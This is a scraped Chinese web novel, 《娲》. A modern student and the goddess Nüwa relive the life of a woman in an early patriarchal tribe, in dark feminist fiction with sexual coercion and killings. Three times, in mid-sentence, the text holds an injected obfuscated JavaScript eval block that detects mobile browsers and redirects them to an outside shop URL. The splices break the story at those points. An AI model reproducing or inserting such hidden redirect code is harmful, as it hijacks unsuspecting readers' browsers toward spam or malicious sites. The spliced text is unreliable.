《娲》 1. 父系 上课铃声响完,带着黑框眼镜,穿着老头衫的教授看了看表,扫了眼讲台下明显与选课人数对不起来的人头,有气无力地说道:“本节‘历史与当代社会’课,由同学们分享自己的历史课题研究成果。本次主讲人:姜姚。” 他慢悠悠走下台,坐到了空无一人的第一排上。 一个短发女孩利落地走上讲台,放出自己拷好的PPT:“大家好,我是姜姚,我今天讲的主题是‘父系社会女性群像’。在正式开始演讲之前,我想给大家看这样几个词汇。” 她点了一下遥控笔,屏幕上跳出了一组组词。 她环视了一眼讲台下方,见同学们有的在吃早餐,有的在刷手机,看向她的眼光并不多。 于是,她将屏幕上的这些词汇一一念了出来:“老妈子,金主爸爸,小姐,小哥,娘们,爷们,大叔,姨化。” 她一字一字地念出这些词汇,倒是吸引了不少人的注意力,抬头看向她的同学肉眼可见多了起来。 她道:“这些大都是日常生活中常见的词,大家应当并不陌生。只有最后一个词‘姨化’,是最近在饭圈新流行起来的网络词语。这些词语都有一个共同点,大家知道是什么吗?” 台下,同学们都看向她,但没有一个人配合回答。 姜姚不疾不徐说道:“这些词语看起来对称,实则感情倾向截然相反。指代男性时,金主爸爸、爷们一类的词,是褒义,饱含着对于男性气质的无限赞美与憧憬。而指代女性时,则或隐或现,含有轻视甚至污名化的倾向。” 此言一出,台下众人纷纷窃窃私语起来。 有的懵懵懂懂,有的漫不经心,有的不屑一顾,有的若有所思,还有的神色玩味,似笑非笑。 一个男生课桌下的手机微微震了一下,旁边的男生对他促狭地笑了笑。 他划出消息,正是同桌发的:“怕不怕,就问你怕不怕。” 他在课桌下伸出拳头来,与同桌碰了一碰,彼此意味深长地相视一笑。 姜姚将所有人的反应收在眼中,继续讲道:“今天,我要讲的‘父系社会女性群像’,就是这些被我们的语境所看不起的妈、姐、娘、姨的故事。我会从父系社会之初讲起,为大家讲述从前女性的故事。” “这些词怎么就是看不起女性了?”一个男生不服气道。 姜姚抬起头来看了看他:“同学,有何高见?” 那人站了起来:“骂男性的词有的是,渣男,醉汉,臭小子,这些都是。我说你们女生是不是过于敏感了?我只是探讨,没别的意思啊。” 姜姚和颜悦色道:“同学,正如你所说,针对男性的词也不少,可是,你有没有发现,这些词大多是针对一类有着某种特质的男性。而我上面所说形容女性的词,则大多是指向女性群体。” 她举例道:“比如,如果人们看到路上有人不好好开车,当司机性别为女时,大多数人会说,女司机不行。但若性别为男,人们则会说,这个司机不行,而非男司机不行。” 那人驳得哑口无言,只好坐下。 姜姚正欲继续演讲自己的课题,又有一人站起来:“姜同学,我也有个问题。我们这节选修课名为《历史与当代社会》,你讲的是从前女性的故事,与当代社会有什么关系呢?” 姜姚道:“我将通过讲述历史上女性的故事,聚焦当代社会大家日益关注的女性话题,以此来将历史与当代相结合。” 那人仍坚持反驳:“可是,我认为,女性根本就不是一个当代的社会课题,最多算一个历史问题。恕我直言,现在女性地位就是太高了,像你这样的言论才会甚嚣尘上。” 此言一出,课堂哗然。 一个女生站起来,满面怒容道:“女性如今受到的歧视存在于方方面面,你是男生,既然体会不到,那便不要轻易开口。” 大家七嘴八舌地发表着自己的观点,一时间,原本死气沉沉的课堂瞬间热闹了起来。 一个男生悄悄对旁边女生说了句:“你们小仙女真是恐怖如斯。” 女生说:“别把枪口对准所有女生,我就不这样,我也不想被她们代表。” “肃静!”老教授站起来维护秩序,无奈学生们讨论得正上头,一时难以安静下来。 忽然,一个人影闪到讲台上,迅速将手中的U盘插到了电脑上。 这是一个长相尖刻,嬉皮笑脸的男生。他一边打开U盘中的PPT,一边说道:“好了,姜同学,我看你的课题是讲不成了,就由我先讲吧。我的课题是《历史中的躺平文化》。” 姜姚上前:“同学,有个先来后到行不行。” 她越过男生,去够他手旁的鼠标,想要将大屏幕界面显示回她的PPT。 那男生的笑容顿时敛了下来,将手臂向外一挥,挥开了姜姚的手。 姜姚重心一个不稳,整个身体不由自主地向后倾倒。咣当一声,她的脑袋撞到了坚硬的大理石上。 嗡嗡嗡的响声自她大脑核心传出,传遍了她的耳道,夹杂着众人的奔跑声和呼喊声。 “喂喂,你怎么了!” “同学!” “同学,醒醒!” “杨刚,你是不是推她了!” “我没有,我不知道她一碰就倒!” “快打120!” …… 所有的声音都逐渐远去,姜姚的瞳孔开始涣散。 “你来了。” 一道温柔似水的声音传到了姜姚耳中。声音是那么温柔,令人安心,让姜姚想起了母亲的怀抱。 “妈妈……?” 姜姚缓缓地睁开了眼睛。她第一眼看到的,是一个身姿丰长的中年女人,披着一头长发,异乎常人地高大,身上不着衣物,只用树叶遮蔽了隐私部位。 原始人的打扮? 姜姚惊诧地问道:“你是谁?” 女人微微笑着说道:“我是女姓部落的首领,娲。你呢,来自哪里?” 女……娲? 姜姚无比震惊地看着眼前这位上古之神。 她曾在无数文学作品中看见过女娲的形象。那部小说里,她是因被一首诗亵渎愤而引祸于世的女神。那部电视剧里,她是人身蛇尾、与人类站在一起对抗天庭的始祖。那部动画里,她是两位小主角拼死找寻的母亲。 关于她的传说太多,各种神秘色彩与旖旎幻想加诸其身,倒是极少有作品演绎出她本来的样子——母系氏族社会部落首领。 姜姚震惊了好一会儿,才想起来要回复女娲的问话:“我来自后世,距离你生存的年代,至少有一万年了。” 她觉得,这种事一定很让人难以置信。 出乎她意料,女娲很快便接受了这个说法:“难怪,你身上穿得如此奇怪,长得也这么瘦小。” 女娲的信任让姜姚心中一暖,心中的忐忑不安散去了很多。 她脱口问出了刚刚一直萦绕在心中的问题:“女娲娘娘,我为何会遇见你,这里又是何处?” 她看向四周环境,却什么也没有发现。 是的,什么都没有。上不见天,下不见地,四面八方不见任何其他的人或物。有的,只有一片茫茫。 女娲:“我正坐在一棵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231368|197625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 树下,困意袭来,再睁开眼,我就来到了这里。这里名为虚空之境,是魂魄栖息之地。” 魂魄?姜姚猛然想起,她被那个男生挥开后,没站稳倒在了讲台上,正离死不远,突然就到了这里。 她道:“可能是我们都在弥留之际,灵魂离体之时,正巧遇上时空动荡,让相隔几万年的我们两人得已相见。” 女娲道:“或许如此。” “等等,”姜姚突然意识到了什么,“女娲娘娘,你明明生活在原始社会,那时人类文明不发达,应当是没有灵魂、时空这些词的,为何你会明白其含义?” 女娲神秘地笑了笑:“在我生活的年代,已经有‘魂’之一说了。为何你会以为,那是后世所创?” 女娲轻轻巧巧的一句话,却是撼动了姜姚一直以来深信不疑的定理。 当前,母系社会文明的痕迹所剩无几,人们从来都习惯认为,文字与文明都为父系所创,更倾向于将母系社会与原始和蒙昧等同起来,又有多少人能想到,母系社会所创造的文明或许并不逊于父系。 “而且,”女娲的声音将姜姚自思索中拉回,“直呼我名字即可。” 看着女娲如同一位寻常的母亲那般温和包容地笑着,姜姚对于女娲那敬畏交加的感觉渐渐淡去,转而化作一股深至心底的亲近与尊重。 女娲又道:“不过,虽然魂为我们的时代所有,但时空一词,我确实是第一次听闻。我能够与你顺畅地沟通,得益于这个地方赋予我的一项能力。” “什么?” “理解力。我在你口中听到的,多的是先前从来没有听说过的词汇,但我可以在听闻它的一瞬间,即理解它的含义。” 姜姚秒懂:“你有了一种能够翻译后世语言的能力。” 女娲点了点头,感叹道:“你的时代果真先进我太多。不过,我更好奇的是,它有何力量,能将人变成这幅样子。” “什么样子?”姜姚不解。 女娲道:“你的长相看起来像是成年女性,可是,你的身形如此瘦弱,身上像是一点肉也没有,完全不似我们那时候的女性。” 刹那间,姜姚脑中闪过一道霹雳。 她仰头看着女娲高大健壮的身躯:“在你的时代,女性以高壮为美吗?” 女娲点头。 姜姚心中突然觉得好笑。 小时候,家长老师告诉她,女孩子生来就要文静,要懂事。 长大了,整个社会告诉她,女人应当承担起名为美的劳役,要美,要打扮自己,要瘦,身上最好没有一块肉。 原来,她从小到大接受到的性别教育,掺杂着无数精心编织的谎言。一切本非一开始就是如此,这是一代代人共同的谎言。 突然间,姜姚脑海中闪过了数以亿计的画面。她的大脑一时接受不了如此庞大的信息量,宕机了好久。 许久之后,她才反应过来,那是不同时期,不同女性身上,一幕一幕不同的人生。 她百感交集,对女娲道:“这处环境也赋予了我一项能力。” “哦?” “我可以观看古往今来,许许多多女性的一生。” “在她们身上,都发生过什么?”女娲极为感兴趣。 姜姚想了想,说道:“我无法用三言两语说尽。女娲,你要与我一同观看,弄明白这几万年来,女性身上发生了什么事吗?” 女娲欣然道:“或许,我可以用你们的语言,称其为,直播?” “没错,而且还是当下科技暂时无法实现的全息直播。”姜姚拉起女娲的手,“第一场直播,开始。” 2. 农耕 话音落下,姜姚眼前的场景骤然变换,成为了一处简陋却宽广的山洞。这里居住着许许多多的人,他们身着粗麻布衣裳,在洞穴中成群而居。 姜姚眼睛向下一转,发现她看不到自己的身体。仿佛只有眼睛来到了这场直播中,没有将身体一并带过来。 不过,她对于身体的感觉犹在,尤其是右手掌心上,自女娲手上传来的温润宽厚的触感十分明显,让她很是安心。 她试了试开口说话:“女娲,你在吗?” 很快得到了回应:“在。” 看来,她与女娲,在这场找不到自我的全息直播中,仍然可以互相交流。 女娲说道:“此处环境与我的时代有些相似,但已经有了我那时不曾制造出来的布衣。” “这么说来,距离你的时代,应该不是很久。”姜姚判断。 “这些黄色的小颗粒是何物?”女娲疑惑道。 姜姚看过去,洞穴的地面上,散着一堆堆的金黄色谷物。这样东西,在姜姚的时代司空见惯。 “这是小米,古人称黍,是一种人为栽培出来的农作物。出现此物,说明,这个时代已经开始出现农耕文明了。” “后世的人们,可以自己种下自己想吃的东西,不必再到处寻觅野果,不必再从野兽口中抢夺吃食了吗?”女娲仿佛被打开了新世界。 “是啊,人类整体的生活好过了不少,不过,”姜姚遗憾道,“女性的处境,反而变坏了起来。” 姜姚正想再去观察一下周围的环境,突然发现,她无法自由支配自己的视线了。 很快她便发现了原因——她的视线固定在了一个人身上。从周围一双双围着她的眼睛,与她跟随现在的身体不由自主发出的一声声哭声来看,姜姚判定,她的视角,是在一位刚出生的婴儿身上。 姜姚不确定地问女娲:“女娲,你现在的视角,也在这个婴儿身上吗?” 女娲的声音传来:“是。看来,这场人生直播名副其实,是确确实实的一生,从降生开始。” 姜姚心中突然有了种奇妙的感觉。原来,两人共同看一场全息直播,是这样一番情景。她们眼前的世界全被这场直播所填满,以至于见不到彼此,可是,她们竟然可以在世界之外,意识之中,同步进行交流。 姜姚感觉自己被抱了起来。不,应该说,是这个女婴被抱了起来。 女婴好奇地看向抱着她的人,一个年轻黝黑的男人。他抱着女婴,凑到另一个年长些,脸上带着几丝威严的男人面前:“首领,你给这孩子起个名吧。” 年长男人想了想,说道:“娲。” “谢谢首领!”年轻的父亲喜笑颜开德看着刚出生的女婴,“希望这孩子长大后,向那位传说中的女娲娘娘一样多子多福。” 【“我吗?”女娲的声音响起。 姜姚道:“是啊。你还不知道吧,后世奉你为人类祖先。传说,你用泥土建造了人类,这片大地上,所有的人都是你的后裔。”】 婴儿娲的父亲用布将她裹起来,抱着她向洞外走去:“走,娲,我们晒太阳去。” “娲……”一声极其微弱的喊声自身后响起。姜姚想回头看看,可碍于视角受限,无法实现。 从头到尾,姜姚都没有见到那个历尽艰辛,将婴儿生下来的母亲一眼。 没过几天,姜姚发现,部落里的人更习惯称她为九娲。首领给女孩起名时,惯爱起“娲”,部落里积攒下了大大小小十几个叫娲的女孩,她排行第九。 天气变冷又变热,九娲渐渐长大。姜姚与女娲慢慢跟随九娲生长,用她的眼睛去观察这个世界,不知不觉,一晃几年。 九娲正在跟着姐姐们学习缝衣服,忽然被一道声音吸引,抬头看去。 一群男人押着几个她从未见过的少女,走进了山洞。少女们浑身赤/裸,瑟缩着身子,眼中尽是无助。 “这些姐姐是什么人,六娲姐姐?”九娲好奇地问。 九娲旁边,一个少女埋头将手中被野兽撕扯破掉的麻布一点点拼凑起来,头也不抬地说道:“别的部落嫁过来的女人。” “她们为什么不穿衣服?” “嫁到我们部落以后,她们就得跟着我们生活,不属于原来的部落了,原来部落里的东西,自然是半点也不能带走。” 九娲点了点头,继续低头学习缝衣,丝毫未觉半分不妥。 姜姚心中却是一阵难过。女性无室无家,竟始于如此早的时代。 【“婚姻结合,在我们那个时候,是无比美妙欢乐的事,在这个时代,却变成了刺向女性身上的一把刀。”女娲痛心道。 姜姚道:“嫁娶取代了走婚后,从此,女性的一生被这二字烙上了一场注定的迁移,女性变成了没有家的人。女娲,在母系社会的走婚制下,男性的处境又是如何?” “女男各自待在自己本来的部落,只在部落之间交流时,他们彼此相中了对方时,才进行走婚。走婚完毕后,双方各回自己的部落。” 姜姚有些意外:“男性不用进入女性部落中生活吗?” “自然无需。大家都有自己的地方,彼此都平等,为何要因为一场心动,而抛弃自己的家园?” “男女平等么……”姜姚斟酌道,“可是,历史书上说,母系社会女性为尊,地位大于男性。” 女娲问道:“此结论如何得出?” “嗯……”这倒难住了姜姚,“或许是因为,母系社会首领多为女性吧。” 女娲笑了笑:“谁说首领是什么性别,就一定以什么性别为尊?” 姜姚愣住了。仔细一想,其中的逻辑似乎真的没那么坚不可摧。 “以我们部落来说,女性为首领,不过是因为女性能够活得更久些,对于部落的事务更为熟悉些,更适合当首领。就算首领为女,部落之内,有人看守家园,摘果缝衣,养育后代,有人外出打猎,扫除危险,开拓领地,大家各司其职,平等共处,并无高下之分。” 姜姚恍然大悟:“说来也是!我们现在所作的研究,都是基于父系社会的视角,认为首领是经过了双方较量之后而诞生的,代表了各自性别的利益。原来,我们自一开始就是错误的,母系社会远比我们想象得更为团结和睦得多。” 女娲说道:“淹没在久远时光中的故事,再被人提及时,就会染上许多后来人的色彩了。”】 夜晚,九娲看着山洞里一双双交缠在一起的身影。山洞就那么大点儿地方,干什么都逃不过大家的眼睛。 九娲好奇地问六娲:“姐姐,他们在做什么啊?” 六娲轻轻笑了笑:“种孩子。” “种孩子?”九娲不解,“黍可以种,黎可以种,孩子也可以种吗?” “是啊。哥哥们现在再做的事,能够让姐姐们在十个月后生下孩子,就如同种下种子后,可以收获果实一样。” 九娲跃跃欲试:“我什么时候可以和哥哥姐姐们一样,开始种孩子呢?” 六娲噗嗤一笑:“起码得等你长大才行。” 九娲疑惑地问道:“六娲姐姐,你已经长大了,为什么你没有去种孩子?” 六娲摸了摸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231369|197625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的肚子:“因为,我腹中已经有一个小孩子了啊。” 九娲戳了戳六娲凸起的小腹:“肚子大了以后,就不能再种了吗?” “没错,这个时候即使两个人抱在一起,也是种不出孩子的。” 【“种……”全程观看直播的姜姚在心中琢磨着这个字。 “看来,这里的许多东西,都带有农耕时代的印记。”女娲道。】 “可是,为什么,他们还在种呢?”九娲指了指远处的一对男女,女人的肚子已经很大了,男人却还是在她身上不断动作。 六娲顺着九娲所指看过去,脸上的神色瞬间变成了鄙夷:“那个女人是从外面部落来的。她自己的部落把她扔在这里不管,别的部落自然不会善待她。” 远处,男人结束了动作,随意地将女人丢弃在了地上。女人重重跌落在地上,下意识地护住了自己的肚子。 “姐姐,你疼吗?”九娲说着,就要跑上去扶起女人。 六娲拦住了她:“别多事。她们这种人,随时要承受夫族部落所有男人一时兴起的毒打,也要随时随地和他们种孩子。刚才那男人,甚至根本不是她丈夫,你要是过去帮那女人,就等于跟自己人过不去,你也会被送到别的部落,像她一样。” 九娲害怕得缩了缩身子。 六娲将九娲的脸转过来,认真说道:“九娲,你以后不能成为像她那样的人。你要在我们部落里一直生活下去。” “嗯,嗯。”一种可能会陷入不复之地的恐惧,迫使九娲点头如捣蒜。 “你知道要怎么做吗?” 九娲摇了摇头。 “你必须要怀上自己部落男人的孩子才行,最好,”她凑近九娲的耳朵,低声耳语道,“是怀上首领的孩子。” “首领?”九娲转头,懵懂地看向卧在洞内最高之处的男人。坐在他旁边的女人也叫娲,在所有娲中排行第三。 六娲声音中带着艳羡:“三娲姐姐是首领身边最得宠的女人,也是整个部落里地位最高的女人。” 九娲眼中的懵懂变成了憧憬:“我要怎样做,才能和三娲姐姐,六娲姐姐一样,成为首领的女人呢?” 六娲道:“在我们部落,每个女孩都有机会成为首领的女人。所有女孩,在刚刚可以生产之时,首领都会给她种下孩子。首领在谁身上种成功了,谁的肚子大了起来,她就成功升级为了首领的女人。记住了吗,娲?” “记住了!”九娲奶声奶气地应道。 【一种荒谬与撕裂感在姜姚内心放射开来。她有些受不住,便与女娲说话,想转移一下注意力。 “女娲。”姜姚也不知道该说什么,只能叫了叫女娲的名字。 “在。”女娲应道。 “你……你心里一定不好受吧?我即使读过历史,知道这些事,真的看到了,也仍然是难以接受。更何况,你以前根本就不知晓这些。” 女娲轻轻叹了口气:“我没事,放心。我只是没有想到,这些女孩处境困难至此,就连仅她们能做到,男性做不到的生育繁衍之事,也会成为她们为了更好地依附于男性所不得不为之事。” 她似是想到了什么,又自嘲般笑了笑:“原来,那个首领在给这孩子取名时,不是为了祝福她多女多福,而是为了……成全自己。” 姜姚有些不忍:“女娲,我不得不提醒一句,接下来我们所看到的后世女性,她们的一生,只比这要更加悲惨。你确定要继续观看吗?” “当然。”女娲的声音复又回归温柔与坚定,“可别低估了我的承受力。”】 3. 农耕 寒来暑往,十载春秋。 这十年间,九娲如同这个部落所有的女人一样,每天在洞窟里缝布,在附近摘果,没有去过远的地方。 但她有一点和其他女人不一样——她成为了首领的女人。 自从她亲眼所见嫁到别的部落的女人要遭受什么开始,她就下定决心,无论用什么手段,都要留在自己部落。 那日,九娲被她的父亲献给首领时,怯生生地说道:“首领大人,我叫九娲。” 虽然在一个山洞中一起生活了十年,可对于一个瘦小的少女来说,这样能够容纳几百人的山洞太过宽广,就像是一个光怪陆离的大世界。她从小到大,每日都见首领,可却从未能与他说过一句话。 “嗯。”首领简单地应了一声。对他来说,是一娲,二娲,还是九娲,十娲,没有任何区别,只要能为他生育子嗣,便能成为他的女人。 首领种孩子时,九娲一动不动,定定地望着头顶石壁上那一块尖尖的凸起。 身体的剧痛,抹不去她心中铺天盖地的担忧。她满心想的都是,如果今天过后,种子没有在她肚中发芽,那么,她就会被送到别的部落。 她一定要找到办法,说什么也要留下。 【“如果你是九娲,为了留在部落里,你会如何做?”姜姚听见女娲这样问自己。 “走。”姜姚脱口而出,想了一会儿后,又道,“不,走也没用,天下无处不遵循这样的规则。那么,我便只有用尽办法,确保自己能怀上孩子。” 女娲道:“过于迫切想要开枝散叶的男人,最后往往帮别人养了孩子。”】 按照惯例,与首领种完孩子的女人,三个月内,不允许进行第二次种孩子的行为,若有违逆,便会落得乱石打死的下场。 九娲决定赌一赌。 她找的,是一个与他一般年纪,从小一起长大的少年。第二天,她便在外出摘果子时,偷偷与他种了孩子。在这之后,他们一次又一次快乐地种孩子。 她很幸运,很快,肚皮鼓了起来。她开心地抚摸着肚皮,有了这个孩子,她终于可以留下来了。 在得知这个好消息的当天,她做的第一件事,是去找六娲,分享这个好消息。她兴奋地在山洞中四处寻找,见到了六娲的背影。 “六娲姐姐!” 九娲刚喊出一声,却见两个男人上前,押着六娲向外走去。九娲慌忙跑上前去,却见被押着的女人不是六娲,而是十年以前,首领身边最得宠的三娲。只不过,十年间风云变幻,她的位置,早已被六娲取代。 九娲正在看着三娲,突然自余光中,看到了她要找的六娲。六娲的视线落在三娲上,眉头微蹙,似有不忍。 九娲第一次发现,三娲与六娲不仅背影看起来像,正脸也有些相像。只不过,三娲容颜见老,六娲风华正茂。相似的两张脸落在九娲眼中,不知为何,令她心中升起一股莫名的恐惧。 她压了压恐惧,对着押着三娲的两个男人喊道:“三娲姐姐是首领的女人,生过首领的孩子,你们不能带她走。” 男人轻蔑地看了她一眼:“谁说生过孩子就不能带走了?首领腻了的女人,就是生了十个孩子,也一样要送走。” 三娲面如死灰,全然看不出半分过去的风光。两个男人一步不停,将三娲带出了山洞。 九娲与六娲站在原地,对视了好一会儿,九娲大声哭了出来:“六娲姐姐,我好害怕。” 六娲俯下身,抱住了九娲,抚了抚她的肚子,“别怕,你已经有了首领的孩子。生产很痛,但无论多痛,你都要忍下来,只要忍下来了,你就能留在部落里。” “你骗人!”九娲哭道,“三娲姐姐也生了孩子,可还是要走!” 六娲拭去九娲脸上的泪珠,轻轻说道:“生孩子只是第一步,你更要做的,是接近首领,讨他欢心,让他不会忘了你。” 九娲泪眼朦胧:“这样,我就能永远留下了吗?” “没错。千万不要像三娲一样,以为生下了孩子就安全了,忘了要去亲近、服侍首领,最终落得这样的下场。” 【姜姚心中感慨万千:“六娲不知,就算她尽心尽力服侍了首领,也还是有随时被厌弃的风险。” 女娲道:“九娲也并不知道,能否留在部落,不过是首领一句话的事,她自己根本无法决定。被剪断了羽翼的鸟儿,如何能知道自己本可以飞翔。”】 九娲紧紧记住了六娲的话。 生孩子确实很痛。九娲长这么大,从来没有体会过今天这样的疼痛,比她被落石打到头,和被狼咬到手加起来还要痛。 而正在她身上体验直播的姜姚,也在全程感受着她的痛苦。 此前,姜姚一直觉得,她的思维分裂成了两半,一半在感受着九娲的感受,获知她内心的想法,另一半则作为一个旁观者,置身事外地作出点评。 可是今天,在让人无法思考的剧痛下,她恍惚觉得,自己与九娲真正地合二为一了。 好在,九娲熬过来了,安全地把孩子生了下来。这在整个洞穴里都并不常见,生产这道鬼门关,不是所有女人都能挺过去的。 首领抱起她诞下的孩子,眉眼间罕见地有了一丝笑意。九娲看着孩子,也虚弱地扯出了一个笑。 她成为了首领的女人,终于可以留下了。 【直播之外,姜姚叹了一声:“九娲获得了片刻的胜利,但从长久来看,或许,这根本就不是胜利。” 女娲也叹道:“前路仍然过于凶险,而且……无处逃脱。无论她逃到哪里,只要有人的地方就有这样的压迫。”】 直播中的九娲,果如二人所说,并没有开心多久。很快,她便陷入了烦恼——首领身边总是环绕着太多女人,她挤不进去,也无法让首领多看她一眼。 可为什么,首领的目光,却经常会落在六娲身上呢? 这日,在睡觉时,九娲如平日一般,与六娲躺在了一起。趁六娲将睡未睡之际,九娲状似无意识地用身体将六娲蹭到了一块凸起的山石下面。 半夜,野兽来袭时,守夜人会发出警告的长啸,所有人都会警觉地一跃而起。这种刻入骨子里的警惕,能够挽救他们的性命。 而六娲却被这种警惕夺去了性命。她在猛地起身时,头撞到了岩石上。 众人听到声音,慌忙点燃火把,前来查看六娲伤势,却发现,六娲当场死亡。 一片混乱中,九娲露出了如愿以偿的笑容。 【姜姚能感受到九娲胸中那发自内心的得意与喜悦,这让她自己心中的悲哀更甚。 她难过道:“九娲从一个愿意搀扶陌生女子的女孩,沦为了争宠杀死姐姐的狠毒之人。” 女娲摇了摇头:“一旦开始将矛头对准另一个女人,无论她有没有实现所想,从这一刻开始,她都已经输了。毕竟,同为女性,她根本无法保证,自己永远不会与她所对付的女性一个下场。”】 没有人发现是九娲所为。很快,她用尽各种手段,一一除掉了那些与首领亲近的女人。 其实,这个说法也不完全准确,因为有很多女人在她还没有任何动作时,就不知所踪了。首领学会了用贝壳去与其他部落的人交换肉和果子,也学会了用女人去交换。 她不知道她们到底去了哪里,也并不关心。她只知道自己成了首领身边最亲近的女人,一心沉浸在这份至高无上的荣耀里。 近些年来,首领带领部落众人走出山洞,在山下划出田地,集中种起了黍。连着丰收了几年后,今年,首领做出了个大胆的决定,在整座山都划作田地,全部种下种子。 地挖出来了,种子却不够,首领大手一挥,将来年的储备种子也全部倒了下去。 “明年,这些种子会长出满山遍野的粮食,再落下新的种子,我们便可以一整年不用再打猎。”首领意气风发地说道。 部落中有不少人反对这种不留一粒种子的做法,九娲心中亦觉不妥。可是,她知道,首领老了,部落内许多人已经开始不服他,如果不建下足以惠及许多年的功业,他的位置很快便会被夺走。 于是,九 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231370|197625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娲一如既往,紧紧跟在首领左右,称赞他决策英明。首领很高兴,告诉九娲,到了秋天,部落的粮食会堆得比山还高,九娲的肚子里,也一定能长出他们的第二个孩子。 可是,那一年的天气极不寻常。春日雨水连绵不断,连日不见阳光,夏日却是晴空万里,半年不见一滴雨。所有人都心怀着恐惧来到了秋天,最终,田里的黍颗粒无收。 许多人堵住了首领,逼着他给个说法。 首领正不知如何应对,眼看就要挨拳头,此时,部落里最为年长的男人举着龟甲前来,高声喊道:“龟甲显示,我们部落内部出了祸害!” 原本闹得不可开交的众人一瞬间静了下来。这位长老在部落里威望很高,甚至高过首领,大家都想听听他怎么说。 长老高高举着龟甲:“是九娲!” 九娲浑身僵住,难以置信地瞪大了眼睛。所有的人都看向了这个平时他们不得不恭敬对待的少女。 巫师继续说道:“九娲在生下第一个孩子后,一直与首领亲近,肚子却没有半点动静!这一切都是因为,她是个不详的人,自己生不出孩子,也让部落结不出黍了。” 九娲立即辩解道:“我不是祸害!” 【“人无法证明自己没有做过的事。”姜姚悲伤道。 “敬畏天气与自然,在我们那时候也很常见。可是,无论如何,不能将自然灾害胡乱怪到人身上。”女娲叹惜道。】 人群中,不少人对着九娲投来了仇视的目光。首领趁机喊道:“将九娲拖出去!” 守卫们跑过来,驾起九娲就朝着洞口走。 她扯着嗓子大喊:“首领,首领!看在我为您诞下孩子的份上,求您不要赶我走,不要把我换到其他部落!” 首领不为所动。 被拖到洞口时,她终于看清,首领是铁了心要送她走。她不再为自己求情,只是凄切地哭喊道:“首领,求您让我再看一眼我的孩子吧,只要一眼。” 首领厌烦地拿起手边的石子,掷到了她的额头上,顿时鲜血直流。 她突然想起了被她设计撞破了头的六娲。 被带出山洞后,她才发现,她刚刚只顾向首领求情,竟然没有注意到,那个瞒着首领悄悄同她种孩子的同龄少年,也在守卫之列。 她燃起最后一丝希望:“求求你,帮帮我吧,我不想去别的部落。哪怕,你将我藏在山洞外面,随便什么地方都好。” 少年充耳不闻,目不斜视地看着前方。 “我好歹与你种过孩子,也生过你的孩子……” 啪!少年一巴掌打在九娲脸上,打肿了她半张脸。 “你!”九娲一开口,发现自己已然口齿不清,说不出话了。 少年终于开口:“疯女人,你在说些什么!” 【“要无视一个人的诉求,只需将其打成疯子,从古至今,都是一样的手段。”姜姚冷笑一声。 女娲道:“九娲还在对别人心存幻想,以为那些被本能支配的亲密,真的能够带来情感上的不离不弃。”】 九娲不再说话,任由守卫将她带走。奇怪的是,守卫们没有带她去别的部落,而是将她带去了一片没有人居住的林子里,把她绑在了树上后,便离开了。 她忘了,无法生育的女人,其他部落也没有人会接收。 寒风呼啸,她冷得骨头都发痛,恐惧让她大叫出声。没过多久,她的叫声引来了狼群。她看到狼的血盆大口径直朝着她扑来,伴随着一股巨痛,她的眼前只剩一片黑暗。 狼的第一个下口之处,是她的眼睛。 很快,她的身体各处都传来了这样的巨痛。剧痛让她不再求生,只求着赶快死去。像是过了几百年那样久,终于,她的意识渐渐涣散。 “这就是……死的感觉么?” 她想起了六娲,想起了首领其他的女人们,那些她叫着姐姐妹妹,却将她们暗暗害死的女人。 “你们临死时,也是这种感觉么?” 下一刻,她的身体被撕裂成了无数的碎片。 4. 奴隶 一场直播结束,姜姚的神识猛然回归虚空之境。 她跌倒在地上,大口大口喘个不停,眼前全都是饿狼向她扑来的画面。无边的恐惧攥紧了她的心脏,她蜷缩成一团,痛不欲生。 女娲走过来,紧紧地将她抱在了怀里。 过了很久很久,姜姚终于自坠痛中走了出来。 她哀叹道:“九娲生于母系与父系交接之时,为了讨好丈夫而去迫害其他女性,最终被丈夫丢弃喂了狼。这样的结局,实在是……” 她说不出话来,取而代之的,是落在女娲手腕上的眼泪。 女娲轻轻拍了拍姜姚肩膀:“但愿后世女性能够明白,依附于他人,根本找不到出路。” 姜姚沉默了一会,说道:“遗憾的是,时至今日,仍有女性选择这条路。无论何时,我都会她们感到羞耻。” 女娲将手搭在姜姚肩膀上:“可是,大多数并不是她们自愿的,是吗?” 姜姚抬起头来。 只听女娲继续柔声说道:“在我的时代,许多时候,我们为了躲避野兽,需要经常逃跑,不断迁徙,可没有人会说,是我们自己不够勇敢,不去与野兽正面搏斗。我想,那些依附于人的女性,也大多是为了生存,我们又如何能苛责她们?” 姜姚心中的憋闷突然一消而散。 